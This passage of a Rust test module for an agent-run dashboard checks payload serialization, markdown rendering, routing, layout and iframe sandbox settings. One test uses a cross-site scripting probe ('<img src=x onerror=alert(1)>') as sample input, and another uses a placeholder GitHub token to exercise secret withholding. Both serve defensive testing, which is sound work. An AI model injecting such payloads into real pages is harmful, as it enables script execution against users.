19373                    .expect("renderLand uses the rail")
19374        );
19375    }
19376
19377    #[test]
19378    fn the_runs_page_redesign_keeps_its_guards() {
19379        let body = |name: &str| {
19380            let at = APP_JS
19381                .find(name)
19382                .unwrap_or_else(|| panic!("{name} missing"));
19383            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19384        };
19385        // A null child must never reach the native append (it prints "null").
19386        let land = body("function renderLand");
19387        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19388        assert!(
19389            !land.contains("box.append("),
19390            "renderLand must use append()"
19391        );
19392        assert!(land.contains("append(box, ["));
19393        // Tabs are hash routes; the run id alone decides a reload.
19394        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19395        assert!(
19396            body("function applyRoute")
19397                .contains("route.name !== state.route.name || route.id !== state.route.id")
19398        );
19399        // The decorative diagram is gone, the strip and its guards stay.
19400        assert!(!APP_JS.contains("adviseConvergeDiagram"));
19401        assert!(!INDEX_HTML.contains("advise-converge"));
19402        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19403        assert!(APP_JS.contains("provisional"));
19404        for id in [
19405            "run-tab-overview",
19406            "run-tab-timeline",
19407            "run-tab-report",
19408            "run-report",
19409            "runs-scope",
19410        ] {
19411            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19412        }
19413        assert!(!INDEX_HTML.contains("runs-tree"));
19414        assert!(!INDEX_HTML.contains("run-raw-panel"));
19415        // Fold still says it cannot be resumed.
19416        assert!(APP_JS.contains("resume"));
19417        // The unreadable-runs count stays on the page.
19418        assert!(APP_JS.contains("unreadable"));
19419    }
19420
19421    #[test]
19422    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19423        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19424        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19425        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
19426        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19427        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19428        // The subtitle still counts them whatever the banner does.
19429        assert!(APP_JS.contains("unreadable` : null"));
19430    }
19431
19432    #[test]
19433    fn blocked_run_detail_exposes_the_failed_gate_reason() {
19434        let mut state = RunState::new(
19435            "/repo".into(),
19436            "main".into(),
19437            "abc".into(),
19438            "task".into(),
19439            crate::config::Config::default(),
19440        );
19441        state.status = RunStatus::Blocked;
19442        state.gate_ran = true;
19443        state.gate.push(crate::run::CommandOutcome {
19444            command: "cargo make check".into(),
19445            code: Some(1),
19446            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19447            duration_ms: 0,
19448            resource_blocked: false,
19449        });
19450        let view = RunDetailView::of(
19451            state,
19452            false,
19453            crate::run::Liveness::Unknown,
19454            None,
19455            None,
19456            None,
19457        );
19458        let value = serde_json::to_value(view).unwrap();
19459        assert_eq!(
19460            value["stop_reason"],
19461            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19462        );
19463    }
19464
19465    #[test]
19466    fn the_run_detail_payload_says_whether_the_run_is_done() {
19467        // `landView` reads `run.done`; the detail response must carry it.
19468        for (status, done) in [
19469            (RunStatus::Superseded, true),
19470            (RunStatus::Blocked, true),
19471            (RunStatus::Landing, false),
19472        ] {
19473            let mut state = RunState::new(
19474                std::path::PathBuf::from("/repo"),
19475                "main".to_owned(),
19476                "abc".to_owned(),
19477                "x".to_owned(),
19478                crate::config::Config::default(),
19479            );
19480            state.status = status;
19481            let v = serde_json::to_value(RunDetailView::of(
19482                state,
19483                false,
19484                crate::run::Liveness::Unknown,
19485                None,
19486                None,
19487                None,
19488            ))
19489            .unwrap();
19490            assert_eq!(v["done"], done, "{status:?}");
19491        }
19492    }
19493
19494    /// The first node of a markdown block holds a `strong` somewhere.
19495    fn has_strong(nodes: &[md::Node]) -> bool {
19496        serde_json::to_string(nodes).unwrap().contains("strong")
19497    }
19498
19499    #[test]
19500    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19501        let mut state = RunState::new(
19502            std::path::PathBuf::from("/repo"),
19503            "main".to_owned(),
19504            "abc".to_owned(),
19505            "x".to_owned(),
19506            crate::config::Config::default(),
19507        );
19508        let proposal = |approach: &str| {
19509            serde_json::json!({
19510                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19511            })
19512        };
19513        state.advice = Some(
19514            serde_json::from_value(serde_json::json!({
19515                "records": [
19516                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19517                     "proposal": proposal("do **this**")},
19518                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19519                ],
19520                "synthesis": "- one\n- **two**\n\n`code`",
19521            }))
19522            .unwrap(),
19523        );
19524        state.candidates = serde_json::from_value(serde_json::json!([
19525            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19526             "summary": "did **it**"},
19527            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19528        ]))
19529        .unwrap();
19530        // Recorded in ascending severity, the reverse of how the page sorts
19531        // them: the arrays must follow the record, not the display.
19532        state.reviews = serde_json::from_value(serde_json::json!([{
19533            "round": 1, "head": "h",
19534            "reviews": [{
19535                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19536                "findings": [
19537                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
19538                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19539                ],
19540            }],
19541            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19542            "fix": {"agent": "a", "notes": "fixed **it**",
19543                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19544        }, {"round": 2, "head": "h2", "reviews": []}]))
19545        .unwrap();
19546
19547        let v = serde_json::to_value(RunDetailView::of(
19548            state,
19549            false,
19550            crate::run::Liveness::Unknown,
19551            None,
19552            None,
19553            None,
19554        ))
19555        .unwrap();
19556
19557        let strong = |p: &str| {
19558            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19559            assert!(n.to_string().contains("strong"), "{p}: {n}");
19560        };
19561        strong("/advice_md/synthesis");
19562        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19563        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19564        strong("/advice_md/approaches/0");
19565        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19566        strong("/candidate_summaries_md/0");
19567        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19568        strong("/reviews_md/0/reviewers/0/summary");
19569        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19570        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19571        assert!(f[1].to_string().contains("strong"));
19572        strong("/reviews_md/0/reconsideration/0");
19573        strong("/reviews_md/0/fix/notes");
19574        strong("/reviews_md/0/fix/rejected/0");
19575        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19576        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19577        // The raw strings stay, and no schema moved.
19578        assert_eq!(v["candidates"][0]["summary"], "did **it**");
19579        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19580    }
19581
19582    #[test]
19583    fn a_run_without_advice_has_no_advice_md() {
19584        let state = RunState::new(
19585            std::path::PathBuf::from("/repo"),
19586            "main".to_owned(),
19587            "abc".to_owned(),
19588            "x".to_owned(),
19589            crate::config::Config::default(),
19590        );
19591        let p = run_prose_md(&state);
19592        assert!(p.advice_md.is_none());
19593        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19594    }
19595
19596    #[test]
19597    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19598        let store = ask::Questions::at(PathBuf::from("unused"));
19599        let gt = crate::github_text::Withheld {
19600            title: false,
19601            body: true,
19602            categories: vec!["sensitive-data".into()],
19603        };
19604        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19605        let (detail, comparison) =
19606            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
19607        let mut q = Question::new(
19608            "r".into(),
19609            "github-text".into(),
19610            "posting-gate".into(),
19611            "s".into(),
19612            detail,
19613            Vec::new(),
19614        );
19615        assert!(
19616            QuestionView::of(q.clone(), &store, None)
19617                .posting_view
19618                .is_none()
19619        );
19620        q.posting_comparison = Some(comparison);
19621        let view = QuestionView::of(q.clone(), &store, None);
19622        let field = &view.posting_view.unwrap().fields[0];
19623        assert_eq!(
19624            field
19625                .original
19626                .iter()
19627                .map(|f| f.text.as_str())
19628                .collect::<String>(),
19629            body
19630        );
19631        assert!(field.original[0].text.starts_with("<img"));
19632        let original_question: Question =
19633            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19634        assert_eq!(original_question, q);
19635        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19636            .original
19637            .start = 1;
19638        assert!(
19639            QuestionView::of(q.clone(), &store, None)
19640                .posting_view
19641                .is_none()
19642        );
19643        q.posting_comparison = original_question.posting_comparison;
19644        q.detail.push_str("extra context");
19645        assert!(
19646            QuestionView::of(q.clone(), &store, None)
19647                .posting_view
19648                .is_some()
19649        );
19650        q.detail.insert(0, 'x');
19651        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19652    }
19653
19654    #[test]
19655    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19656        let store = ask::Questions::at(PathBuf::from("unused"));
19657        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19658        let gt = crate::github_text::Withheld::from_check(
19659            &crate::github_text::check("fix: x", body),
19660            "fix: x",
19661            body,
19662        )
19663        .unwrap();
19664        let (detail, comparison) =
19665            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
19666        let mut q = Question::new(
19667            "r".into(),
19668            "github-text".into(),
19669            "posting-gate".into(),
19670            "s".into(),
19671            detail,
19672            Vec::new(),
19673        );
19674        q.posting_comparison = Some(comparison);
19675        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19676        let field = &value["posting_view"]["fields"][0];
19677        let group = &field["replacement_group"];
19678        let triggers = group["triggers"].as_array().unwrap();
19679        assert_eq!(triggers.len(), 2);
19680        assert_ne!(triggers[0], triggers[1]);
19681        for id in triggers {
19682            assert!(
19683                field["original"]
19684                    .as_array()
19685                    .unwrap()
19686                    .iter()
19687                    .any(|f| &f["pair"] == id)
19688            );
19689            assert!(
19690                !field["changed"]
19691                    .as_array()
19692                    .unwrap()
19693                    .iter()
19694                    .any(|f| &f["pair"] == id)
19695            );
19696        }
19697        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19698            group["id"].as_u64().unwrap() as usize;
19699        assert!(
19700            QuestionView::of(q, &store, None).posting_view.is_none(),
19701            "group and trigger IDs cannot collide"
19702        );
19703    }
19704
19705    #[test]
19706    fn a_question_view_carries_markdown_for_each_thread_turn() {
19707        let home = TempDir::new().unwrap();
19708        let store = ask::Questions::at(home.path().join("questions"));
19709        let mut q = Question::new(
19710            "run".to_owned(),
19711            "implement".to_owned(),
19712            "impl-A".to_owned(),
19713            "which?".to_owned(),
19714            String::new(),
19715            Vec::new(),
19716        );
19717        q.say("plain words").unwrap();
19718        q.reply("use **this**", Vec::new()).unwrap();
19719        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19720        let bodies = &v["thread_bodies_md"];
19721        assert_eq!(bodies.as_array().unwrap().len(), 2);
19722        assert!(!bodies[0].to_string().contains("strong"));
19723        assert!(bodies[1].to_string().contains("strong"));
19724    }
19725
19726    #[test]
19727    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19728        let home = TempDir::new().unwrap();
19729        let store = ask::Questions::at(home.path().join("questions"));
19730        let mut q = Question::new(
19731            "run".to_owned(),
19732            "conduct".to_owned(),
19733            "conduct".to_owned(),
19734            "which?".to_owned(),
19735            String::new(),
19736            Vec::new(),
19737        );
19738        q.say("plain words").unwrap();
19739        q.thread.push(ask::Turn {
19740            who: ask::Who::Agent,
19741            body: "Settled as `merge`".to_owned(),
19742            at: jiff::Timestamp::now(),
19743            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19744        });
19745        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19746        let notes = &v["thread_notes_md"];
19747        assert_eq!(notes.as_array().unwrap().len(), 2);
19748        assert!(notes[0].is_null());
19749        let text = notes[1].to_string();
19750        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19751        assert!(APP_JS.contains("ask-turn-note"));
19752    }
19753
19754    #[test]
19755    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19756        // The land panel defers to `run.status` for merged, and labels a
19757        // recorded-open PR on any finished run (superseded, blocked, ...) as
19758        // last seen, never as live state.
19759        assert!(APP_JS.contains("function landView(run, raw) {"));
19760        assert!(
19761            APP_JS.contains(
19762                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19763            )
19764        );
19765        assert!(APP_JS.contains("const pr = landView(run, raw);"));
19766        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19767        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19768        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19769    }
19770
19771    #[test]
19772    fn live_runs_are_never_hidden_or_folded_as_superseded() {
19773        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
19774        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19775        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19776        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19777    }
19778
19779    #[test]
19780    fn review_rounds_label_a_distinct_verified_head() {
19781        assert!(APP_JS.contains("round.verified_head"));
19782        assert!(APP_JS.contains("verified HEAD"));
19783        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19784    }
19785
19786    #[test]
19787    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19788        // A blocked task's chip and note must not fall back to a queued-like
19789        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
19790        // itself by e11fc58 but never checked here.
19791        assert!(APP_JS.contains("blocked: { glyph:"));
19792        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19793
19794        // `blocked_by` mixes task ids and question ids in the same list, and
19795        // the client can only tell them apart by checking each id against
19796        // what it actually knows - never by guessing from the id's shape.
19797        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19798        assert!(
19799            APP_JS.contains(
19800                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19801            ),
19802            "the note line must name what a blocked task is waiting on, not just that it is blocked"
19803        );
19804        // The classification must key off `status_str`, never off `blocked_by`
19805        // or `block_reason` merely being present - both can survive briefly
19806        // on a task a hold or a dead daemon just moved off `blocked`.
19807        assert!(APP_JS.contains("if (status === \"blocked\") {"));
19808
19809        // A question a task is blocked on gets its own node in the same
19810        // dependency graph, not just a task-shaped node with nothing known
19811        // about it.
19812        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19813        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19814        assert!(
19815            APP_JS.contains("location.hash = \"#/questions\";"),
19816            "a question node must jump to the Questions screen, not pretend to be a task"
19817        );
19818
19819        // `Task::answers` - decisions already made - are shown as a record on
19820        // the card, the same disclosure style as the full instruction.
19821        assert!(APP_JS.contains("Resolved questions"));
19822        assert!(APP_JS.contains("r.answersList.append("));
19823        assert!(APP_CSS.contains(".task-answers"));
19824        {
19825            let start = APP_JS
19826                .find("function updateTalkTaskRow")
19827                .expect("updateTalkTaskRow");
19828            let body = &APP_JS[start..];
19829            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
19830            assert!(
19831                body.contains(
19832                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
19833                ),
19834                "a chat-filed task row must link to the task page"
19835            );
19836            assert!(
19837                !body.contains("#/runs/") && !body.contains("#/queue/"),
19838                "the row must not branch to a run or the queue card"
19839            );
19840            assert!(APP_CSS.contains(".talk-task-link"));
19841        }
19842    }
19843
19844    #[test]
19845    fn a_task_notification_links_to_the_task_page() {
19846        // A task notice opens the task detail page, not the Backlog card.
19847        let start = APP_JS
19848            .find("function noticeLink(")
19849            .expect("noticeLink exists");
19850        let body = &APP_JS[start..];
19851        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
19852        assert!(
19853            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
19854            "a task notice's link must target the task page"
19855        );
19856        assert!(
19857            !body.contains("#/queue/"),
19858            "regression: the task link must not go back to the Backlog route"
19859        );
19860        assert!(
19861            APP_JS.contains(
19862                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
19863            ),
19864            "`#/tasks/<id>` must parse into the task route"
19865        );
19866
19867        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
19868        assert!(
19869            APP_JS.contains(
19870                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
19871            ),
19872            "`#/queue/<id>` must parse into a route carrying that id"
19873        );
19874
19875        // And the Backlog view has to actually land on the card once it can
19876        // - see consumeQueueFocus(), which renderQueue() calls on every pass
19877        // so a focus set before the queue has loaded is retried once it has.
19878        assert!(APP_JS.contains("state.queueFocus = route.id;"));
19879        assert!(APP_JS.contains("function consumeQueueFocus()"));
19880        assert!(APP_JS.contains("jumpToTask(id)"));
19881    }
19882
19883    #[test]
19884    fn notifications_distinguish_actionable_questions_from_informational_notices() {
19885        let start = APP_JS
19886            .find("function noticeCoveredBy(")
19887            .expect("noticeCoveredBy exists");
19888        let body = &APP_JS[start..];
19889        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
19890
19891        // Historical associations are informational, even for open questions.
19892        assert!(body.contains("Associated question ${short}"));
19893        assert!(!body.contains("el(\"a\""));
19894
19895        // A resolved question displays status rather than an actionable link
19896        assert!(body.contains("(resolved)"));
19897        assert!(body.contains("(closed)"));
19898
19899        let start = APP_JS
19900            .find("function renderNotifications()")
19901            .expect("renderNotifications exists");
19902        let body = &APP_JS[start..];
19903        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
19904
19905        // Only a server-resolved answerable question supplies a response link.
19906        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
19907        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
19908        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
19909        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
19910    }
19911
19912    /// Chat rows are two lines at every width: the title alone, then the
19913    /// shrinkable secondary info.
19914    #[test]
19915    fn chat_rows_put_the_title_alone_on_the_first_line() {
19916        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
19917        assert!(APP_CSS.contains(
19918            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
19919        ));
19920        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
19921        assert!(APP_JS.contains("class: \"badge talk-unread\""));
19922    }
19923
19924    #[test]
19925    fn run_rows_put_the_title_alone_on_the_first_line() {
19926        assert!(
19927            APP_CSS.contains(
19928                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
19929            )
19930        );
19931        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
19932        assert!(APP_JS.contains("class: \"card run-card\""));
19933        assert!(APP_JS.contains("class: \"repo run-id\""));
19934    }
19935
19936    /// Wide screens get a master/detail layout built from the views a phone
19937    /// drills into. These are string assertions: they pin the contract between
19938    /// the three assets, not how it looks.
19939    #[test]
19940    fn wide_screens_show_list_and_preview_side_by_side() {
19941        // One breakpoint, spelled the same in the script and the stylesheet.
19942        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
19943        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
19944        assert!(APP_CSS.contains("main[data-split]"));
19945        assert!(APP_CSS.contains("body[data-split]"));
19946
19947        // The route -> panes table, and a narrow screen opting out of it.
19948        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
19949        assert!(
19950            APP_JS.contains(
19951                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
19952            )
19953        );
19954        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
19955        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
19956        assert!(INDEX_HTML.contains("id=\"split-empty\""));
19957
19958        // Selection is derived from the route, and only ever paints a row.
19959        assert!(APP_JS.contains("function markSelected() {"));
19960        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
19961        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
19962        // The dense row must override the stacked card the 720px block sets up.
19963        assert!(
19964            APP_CSS.contains(
19965                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
19966            )
19967        );
19968
19969        // Independent scrolling: the page stops scrolling, each pane does.
19970        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
19971        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
19972        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
19973        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
19974
19975        // A refresh must never navigate: the loaders still check that their
19976        // subject is the one on screen, and crossing the breakpoint only
19977        // re-reads the hash.
19978        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
19979        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
19980        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
19981        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
19982
19983        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
19984        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
19985    }
19986
19987    #[test]
19988    fn panel_sandbox_carries_exactly_popups() {
19989        let needle = "sandbox: \"";
19990        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
19991        assert_eq!(
19992            matches.len(),
19993            1,
19994            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
19995        );
19996        let start = matches[0].0 + needle.len();
19997        let end = APP_JS[start..]
19998            .find('"')
19999            .expect("sandbox attribute value must be terminated by a closing quote");
20000        let val = &APP_JS[start..start + end];
20001        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20002        let expected: std::collections::BTreeSet<&str> =
20003            ["allow-popups", "allow-popups-to-escape-sandbox"]
20004                .into_iter()
20005                .collect();
20006        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20007        assert!(
20008            !tokens.contains("allow-scripts"),
20009            "allow-scripts must never be present in sandbox"
20010        );
20011        assert!(
20012            !tokens.contains("allow-same-origin"),
20013            "allow-same-origin must never be present in sandbox"
20014        );
20015    }
20016
20017    #[test]
20018    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20019        // consumeQueueFocus() clears an active Backlog search before it can
20020        // scroll to the target card (the sections list is hidden while a
20021        // search is showing), by recursing back into renderQueue(). The
20022        // fixer's first cut nulled state.queueFocus before that recursive
20023        // call, so the second pass saw nothing to jump to and the jump was
20024        // silently dropped whenever a notification's link was opened with a
20025        // stale search still active. state.queueFocus must only be cleared
20026        // right before jumpToTask() actually runs.
20027        assert!(
20028            APP_JS.contains(
20029                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
20030            ),
20031            "the search-clearing branch must run before state.queueFocus is cleared, or the \
20032             recursive renderQueue() call has nothing left to jump to"
20033        );
20034        assert!(
20035            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20036            "state.queueFocus must be cleared only once the jump has landed, so a card that \
20037             arrives later still gets it"
20038        );
20039        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20040        assert!(APP_JS.contains("is not in the current Backlog."));
20041        assert!(APP_JS.contains("li.card[data-task-id=\""));
20042        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20043        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20044        assert!(APP_CSS.contains(".card-permalink"));
20045        assert!(APP_CSS.contains(".queue-focus-status"));
20046        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20047    }
20048
20049    #[test]
20050    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20051        // The task's own repro: only the link text inside .notice-meta was
20052        // clickable, so a tap on the message, the timestamp, or the card's
20053        // padding did nothing - on a phone that reads as "the card doesn't
20054        // work" even though the tiny link inside it did. Mark read / Dismiss
20055        // must keep working independently of this: `.closest("a, button")`
20056        // is what lets a tap that actually lands on those elements fall
20057        // through instead of being hijacked into a navigation.
20058        assert!(
20059            APP_JS.contains(
20060                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20061            ),
20062            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20063        );
20064    }
20065
20066    #[test]
20067    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20068        assert!(
20069            APP_JS.contains("round.verified_head !== round.head"),
20070            "a round that verified an earlier commit must be visibly distinct from one that \
20071             verified the head reviewers are looking at now"
20072        );
20073        assert!(
20074            APP_JS.contains("round.verified_at"),
20075            "when a check ran must be on the wire, not just which commit"
20076        );
20077        assert!(
20078            APP_JS.contains("resource_blocked"),
20079            "a command magi never got to run (shared build cache contention) must not render \
20080             the same as a command that ran and failed"
20081        );
20082    }
20083
20084    #[test]
20085    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20086        // Every KPI tile but Total runs and Completion names an exact
20087        // RunStatus and hands it to openRunsFiltered(), which is what wires
20088        // the click into state.runsFilter.status (matchesFilter's own
20089        // status check) rather than the coarser runsStateFilter chips. Each
20090        // status literal here must be one of the strings runSection() (and
20091        // isStale()) actually compare a run's own `status` field against -
20092        // a status this dashboard invented would filter to nothing.
20093        assert!(
20094            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20095            "every KPI tile built through statusTile() must route its click through \
20096             openRunsFiltered, the single place that sets the Runs filter"
20097        );
20098        for (label, status) in [
20099            ("Merged", "merged"),
20100            ("Ready", "ready"),
20101            ("Blocked", "blocked"),
20102            ("Stalled", "stalled"),
20103        ] {
20104            let call = format!("statusTile(\"{label}\", t.{status}, ");
20105            assert!(
20106                APP_JS.contains(&call),
20107                "expected the {label} KPI tile built via {call}..."
20108            );
20109            assert!(
20110                APP_JS.contains(&format!("status === \"{status}\"")),
20111                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20112                 compare a run against, not one invented only for the stats tile"
20113            );
20114        }
20115        assert!(
20116            APP_JS.contains("function openRunsFiltered(status)"),
20117            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20118        );
20119        assert!(
20120            APP_JS.contains(
20121                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20122            ),
20123            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20124        );
20125        // applyRoute() only flips which view is visible for a plain `#runs`
20126        // hash - it does not itself redraw the list (see applyRoute's own
20127        // handling below) - so openRunsFiltered must call renderRuns()
20128        // itself, and must call applyRoute() too so the view flips even
20129        // when the hash string doesn't change (the operator may already be
20130        // on the Runs view when a tile is tapped, which fires no
20131        // hashchange event at all).
20132        assert!(
20133            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
20134            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20135             hashchange event that may never fire"
20136        );
20137    }
20138
20139    #[test]
20140    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20141        // A stats tile can leave state.runsFilter.status set to something
20142        // done-by-construction (e.g. "merged") - picking "Active" afterward
20143        // must drop it the same way an incompatible tree section is already
20144        // dropped, or the Runs list renders permanently empty with no way
20145        // for the operator to tell why.
20146        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20147        assert!(
20148            APP_JS.contains(
20149                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
20150            ),
20151            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20152             guard for an incompatible tree section"
20153        );
20154    }
20155
20156    #[test]
20157    fn every_stats_queue_tile_names_a_real_queue_section() {
20158        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
20159        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
20160        // (consumeQueueSectionFocus finds no matching <details> and drops
20161        // the focus) rather than fail loudly, so pin every key against the
20162        // section list it has to resolve against.
20163        assert!(
20164            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20165            "every queue tile built through sectionTile() must route its click through \
20166             openQueueSectionFocus"
20167        );
20168        for key in ["upnext", "running", "done", "held", "blocked"] {
20169            assert!(
20170                APP_JS.contains(&format!("{{ key: \"{key}\",")),
20171                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20172            );
